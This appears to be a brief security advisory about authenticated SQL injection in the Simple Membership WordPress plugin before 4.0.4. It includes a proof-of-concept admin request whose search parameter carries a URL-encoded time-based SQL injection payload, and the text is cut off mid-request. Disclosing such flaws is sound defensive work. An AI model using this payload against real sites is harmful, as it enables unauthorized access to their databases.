Simple Membership < 4.0.4 - Authenticated SQL Injections

The plugin did not properly sanitise user input before using it in SQL queries in the admin backend, leading to authenticated admin+ SQL injections GET /wp/wp-admin/admin.php?status=&membershiplevel=&s=hhhh%27%20OR%20SLEEP%281%29%20OR%20firstname%20LIKE%20%27%25i%0A&page=simplewpmembership HTTP/1...